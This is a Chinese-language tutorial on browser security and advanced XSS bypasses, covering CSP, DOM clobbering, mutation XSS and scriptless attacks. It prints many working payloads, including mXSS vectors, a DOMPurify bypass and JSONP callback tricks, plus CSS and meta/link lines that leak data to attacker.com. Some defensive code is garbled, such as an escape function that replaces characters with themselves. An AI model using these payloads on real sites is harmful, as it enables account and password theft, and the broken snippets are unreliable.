浏览器安全与 XSS 高级绕过完全指南
跨站脚本攻击(XSS)是 Web 安全中最常见也最多变的漏洞。现代浏览器通过 CSP、XSS 过滤器、Trusted Types 等机制抵御 XSS,但攻击者不断发现新的绕过技术。本章深入分析浏览器安全机制和 XSS 的高级绕过技术。
一、浏览器安全模型
1.1 同源策略
| 场景 | URL A | URL B | 同源? |
|---|---|---|---|
| 协议不同 | http://a.com | https://a.com | 否 |
| 域名不同 | http://a.com | http://b.com | 否 |
| 端口不同 | http://a.com:80 | http://a.com:8080 | 否 |
| 路径不同 | http://a.com/page1 | http://a.com/page2 | 是 |
GRAPH
TD
A[网页请求] --> B{同源检查}
B -->|协议相同| C{域名相同}
B -->|协议不同| F[拒绝访问]
C -->|端口相同| D[允许访问 DOM/Storage]
C -->|端口不同| F
C -->|域名相同| D
1.2 内容安全策略 (CSP)
CSP 通过 HTTP 头或 meta 标签限制页面可以加载的资源:
HTTP
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src *;
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
1.3 CSP 指令
| 指令 | 控制内容 | 示例 |
|---|---|---|
| default-src | 所有资源的默认策略 | ‘self’ |
| script-src | JavaScript 源 | ‘self’ ‘unsafe-inline’ |
| style-src | CSS 源 | ‘self’ ‘unsafe-inline’ |
| img-src | 图片源 | * |
| connect-src | 网络请求源 | ‘self’ |
| frame-src | iframe 源 | ‘none’ |
| frame-ancestors | 允许嵌入的源 | ‘self’ |
| base-uri | 允许的 URI | ‘self’ |
| form-action | form 提交目标 | ‘self’ |
| object-src | 插件源 | ‘none’ |
| report-uri | 违规报告地址 | /csp-violation |
1.4 Trusted Types
JAVASCRIPT
// Trusted Types 阻止 DOM XSS
// 启用:Content-Security-Policy: require-trusted-types-for 'script'
// 创建策略
const sanitizer = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// 只允许安全的 HTML
return DOMPurify.sanitize(input);
},
createScriptURL: (url) => {
// 只允许白名单 URL
if (url.startsWith('/static/')) return url;
throw new TypeError('URL not allowed');
}
});
// 使用策略
element.innerHTML = sanitizer.createHTML(userContent);
二、XSS 类型回顾
2.1 反射型 XSS
HTML
<!-- URL 参数直接输出到页面 -->
<input type="text" value="<?= $_GET['q'] ?>">
<!-- 利用方式 -->
?q="><script>alert(1)</script>
2.2 存储型 XSS
JAVASCRIPT
// 用户评论存储到数据库后直接输出
app.post('/comment', (req, res) => {
db.save(req.body.comment); // 未过滤
});
app.get('/comments', (req, res) => {
const comments = db.find();
res.send(`<div>${comments.map(c => c.text).join('</div><div>')}</div>`);
});
2.3 DOM 型 XSS
HTML
<script>
// 从 URL 中获取参数并直接写入 DOM
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>
<!-- 不经过服务器,只在前端触发 -->
三、CSP 绕过技术
3.1 利用 ‘unsafe-inline’
HTTP
// 如果 script-src 包含 'unsafe-inline' 或未指定
Content-Security-Policy: script-src 'self'
// 如果页面也允许 'unsafe-inline' style 可以有条件地利用
// 某些浏览器在特定版本中允许 script 通过 style 标签执行
// 利用 Angular / Vue / React 的模板注入
// Angular 沙箱绕过(老版本)
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
3.2 JSONP 劫持
HTTP
// 如果 script-src 允许某些 JSONP 端点
Content-Security-Policy: script-src https://example.com
// 利用 JSONP 回调执行代码
<script src="https://example.com/api?callback=alert(1)//"></script>
// 或使用已知的 JSONP 端点
// google.com, yahoo.com, github.com 等都有 JSONP 接口
<script src="https://www.google.com/complete/search?client=chrome&q=123&callback=alert(1)"></script>
3.3 CDN 回退攻击
HTTP
// 如果 script-src 允许多个 CDN
Content-Security-Policy: script-src https://cdnjs.cloudflare.com https://unpkg.com
// 利用已知的库文件
// 在 CDN 上存在 Angular callback 利用
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js"></script>
<script src="https://unpkg.com/@angular/cdk/bundles/cdk.umd.min.js"></script>
// 使用 MS Angular JSONP 回调进行 XSS
// 或 Prototype.js 的 $ 函数
// 或 jQuery 的 $ 函数(老版本)
3.4 绕过 ‘strict-dynamic’
HTTP
// strict-dynamic 允许第一个加载的 script 创建动态脚本
Content-Security-Policy: script-src 'strict-dynamic' 'self' https://cdn.example.com
// 绕过:如果页面有一个可信的第三方脚本
// 它可以通过 createElement('script') 加载任意代码
// 攻击者只需要控制第三方脚本或利用 API
3.5 CSP 信息泄露
HTTP
// CSP 报告可以用于验证是否存在绕过
Content-Security-Policy: default-src 'self'; report-uri /csp-report
// 攻击者可以通过 report-uri 进行探测
// 如果报告没有提交,说明 CSP 阻止了行为
// 可以逐帧进行盲注探测
// 利用 CSP 进行跨站点搜索
// 通过 img-src 的违规判断
四、Scriptless XSS
4.1 CSS 注入
HTML
<!-- 当可以控制 CSS 时的数据窃取 -->
<input type="password" name="password" id="password">
<!-- 使用属性选择器窃取密码中的字符 -->
<style>
/* 检查密码第一位是否为 a */
input[type="password"][value^="a"] {
background: url(http://attacker.com/leak?char=a);
}
input[type="password"][value^="b"] {
background: url(http://attacker.com/leak?char=b);
}
/* 逐字符暴力,每个位置最多 256 次请求 */
</style>
4.2 SVG 注入
HTML
<!-- SVG 可以作为 HTML 的替代执行向量 -->
<svg onload="alert(1)">
<svg xmlns="http://www.w3.org/2000/svg">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)">
<rect width="100" height="100" style="fill:red"/>
</a>
</svg>
<!-- SVG 中的 animate 标签 -->
<svg>
<animate onbegin="alert(1)" attributeName="x" values="0;0" dur="1s" />
</svg>
4.3 标签利用
HTML
<!-- meta 标签重定向 -->
<meta http-equiv="refresh" content="0;url=http://attacker.com">
<!-- meta 标签设置 Cookie -->
<meta http-equiv="set-cookie" content="session=attacker_session">
<!-- meta 标签 Content-Type 覆盖 -->
<meta http-equiv="content-type" content="text/html">
4.4 标签利用
HTML
<!-- 通过 <link> 实现 DNS 预取数据泄露 -->
<link rel="dns-prefetch" href="//attacker.com">
<!-- CSRF 通过 <link> 标签 -->
<link rel="stylesheet" href="http://victim.com/delete-account">
五、DOM Clobbering
5.1 原理
DOM Clobbering 通过 id/name 属性覆盖全局 JavaScript 变量:
HTML
<!-- 定义全局变量 -->
<a id="config"></a>
<script>
// 如果 config 变量未定义,会被 DOM 元素覆盖
console.log(config); // -> <a id="config">
5.2 高级利用
HTML
<!-- 覆盖表单验证配置 -->
<a id="defaultConfig"></a>
<a id="defaultConfig" name="allowedDomains" href="http://attacker.com">
<script>
// 老代码:假设 defaultConfig 已定义
if (defaultConfig.allowedDomains.includes(domain)) {
// 被绕过,因为 DOM 元素 .href 返回完整 URL
}
</script>
<!-- 利用 <form> 覆盖命名属性 -->
<form id="config"><input name="apiKey" value="xxx"></form>
<script>
// 覆盖 config.apiKey
</script>
<!-- 利用 <iframe> name 属性 -->
<iframe name="JSON" src="about:blank"></iframe>
<script>
// 覆盖全局 JSON 对象
JSON.parse = undefined;
</script>
5.3 DOMPurify 绕过
HTML
<!-- DOMPurify 2.0.15 前的 DOM Clobbering 绕过 -->
<form id="DOMPurify"><img src=x onerror=alert(1)></form>
<script>
// 某些版本的 DOMPurify 允许通过
</script>
<!-- 另一种 bypass:利用 <form> 的 innerText -->
<form><select><option><img src=x onerror=alert(1)>
</form>
六、Mutation XSS (mXSS)
6.1 原理
浏览器在解析 HTML 时,DOM 树的变化会导致安全策略的绕过:
HTML
<!-- 示例:InnerHTML 的解析差异 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
6.2 已发现的 mXSS 向量
HTML
<!-- 1. 基于 <noscript> 的 mXSS -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- 2. 基于 <select> 的 mXSS -->
<select><style></select><img src=x onerror=alert(1)></style>
<!-- 3. 基于 <template> 的 mXSS -->
<template><div><p title="</template><img src=x onerror=alert(1)>">
<!-- 4. 基于 <math> 的 mXSS -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- 5. 基于 <svg> 的 mXSS -->
<svg><p><a><desc><svg><p><textarea><title></p><img src=x onerror=alert(1)>
6.3 防御 mXSS
JAVASCRIPT
// 使用最新版本的 DOMPurify
// DOMPurify 3.0+ 已经修复大部分已知 mXSS 向量
// 自定义过滤
function sanitize(html) {
// 移除所有 <noscript> 标签
html = html.replace(/<noscript>/gi, '').replace(/<\/noscript>/gi, '');
// 移除 <math> 和 <svg> 标签
html = html.replace(/<(\/)?(math|svg)[^>]*>/gi, '');
return DOMPurify.sanitize(html);
}
七、浏览器 XSS 过滤器
7.1 XSS Auditor(Chrome 已移除)
HTTP
// 旧版 Chrome 的 XSS 过滤器:X-XSS-Protection
X-XSS-Protection: 1; mode=block
// Chrome 78+ 已移除
// XSS Auditor 阻止反射型 XSS,但可以被绕过
// 绕过方式:
// 1. 使用突变突破过滤器的正则匹配
// 2. Content-Type 不匹配(text/plain)
// 3. 使用 AJAX 获取页面(避免直接反射)
7.2 Edge HTML 过滤器
TEXT
Edge 使用基于 IE 的 XSS 过滤器:
- 检测 URL 中的恶意模式
- 可被类似 Chrome 的方式绕过
- 新 Edge (Chromium) 不再有此过滤器
7.3 Safari 智能防跟踪
TEXT
Safari 的 ITP(Intelligent Tracking Prevention):
- 限制第三方 Cookie
- 阻止某些跨域跟踪
- 影响某些 XSS payload 的准确性
- 对 XSS 防御有帮助但非专门设计
八、高级攻击链
8.1 XS-Leaks
HTTP
// 跨站泄露 - 通过侧信道判断信息
// 利用 <script> 的加载状态判断
<script>
var img = new Image();
img.onload = function() { /* 页面存在该资源 */ };
img.onerror = function() { /* 不存在 */ };
img.src = "https://victim.com/user/12345";
</script>
// 利用 Cache 状态判断
// 已经被访问过的 URL 有不同响应时间
// 利用 iframe 的加载状态
// frame.offsetHeight/offsetWidth 检测页面内容
8.2 通过 Service Worker 持久化
JAVASCRIPT
// 注册 Service Worker 拦截所有请求
navigator.serviceWorker.register('/sw.js');
// sw.js
self.addEventListener('fetch', function(event) {
// 修改 HTML 响应,注入恶意脚本
event.respondWith(
fetch(event.request).then(function(response) {
if (response.headers.get('Content-Type').includes('text/html')) {
return new Promise(function(resolve) {
response.text().then(function(html) {
html = html.replace('</body>', '<script>alert(1)</script></body>');
resolve(new Response(html, response));
});
});
}
return response;
})
);
});
8.3 FileReader 绕过
HTML
<!-- 利用 File API 读取本地文件 -->
<input type="file" id="fileInput" onchange="readFile()">
<script>
function readFile() {
var reader = new FileReader();
reader.onload = function(e) {
// e.target.result 包含文件内容
document.getElementById('output').textContent = e.target.result;
};
reader.readAsText(document.getElementById('fileInput').files[0]);
}
// 结合 XSS,如果攻击者可以控制 FileReader 的目标
// 或使用 <input type=file> 的自动提交
</script>
九、防御策略深度
9.1 输出编码
| 上下文 | 编码 | 示例 |
|---|---|---|
| HTML body | HTML 实体 | <script> |
| HTML attribute | HTML 实体 | “ onfocus= |
| JavaScript string | Unicode 转义 | \x3cscript\x3e |
| URL | URL 编码 | %3Cscript%3E |
| CSS | CSS 转义 | \003cscript\003e |
9.2 Content-Type 严格化
HTTP
// 确保所有响应设置正确的 Content-Type
Content-Type: application/json; charset=utf-8
// X-Content-Type-Options 防止 MIME 嗅探
X-Content-Type-Options: nosniff
9.3 CSP 严格配置
HTTP
# 推荐的非严格 CSP
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self'
# 严格 CSP(推荐)
Content-Security-Policy:
default-src 'self';
script-src 'nonce-{random}' 'strict-dynamic';
object-src 'none';
base-uri 'self'
9.4 Trusted Types + CSP
HTTP
# 启用 Trusted Types
Content-Security-Policy: require-trusted-types-for 'script'
# 创建安全的默认策略
<script>
if (window.trustedTypes && trustedTypes.createPolicy) {
const escapeHTMLPolicy = trustedTypes.createPolicy('default', {
createHTML: (str) => {
return str.replace(/</g, '<').replace(/>/g, '>')
.replace(/"/g, '"').replace(/'/g, ''');
}
});
}
</script>
十、总结
| 绕过技术 | 原理 | 防御 |
|---|---|---|
| ‘unsafe-inline’ 利用 | 允许内联脚本 | 移除 unsafe-inline |
| JSONP 劫持 | 利用回调端点 | 限制 script-src |
| DOM Clobbering | 变量名覆盖 | 检查变量定义 |
| mXSS | 解析器差异 | 最新 DOMPurify |
| CSS 注入 | 属性选择器泄露 | 阻止样式注入 |
| SVG 向量 | SVG 事件 | 限制 SVG 标签 |
| CSP 报告探测 | 违规报告盲注 | 移除 report-uri |
最佳防御组合:严格 CSP (nonce/strict-dynamic) + Trusted Types + 输出编码 + 最新 DOMPurify。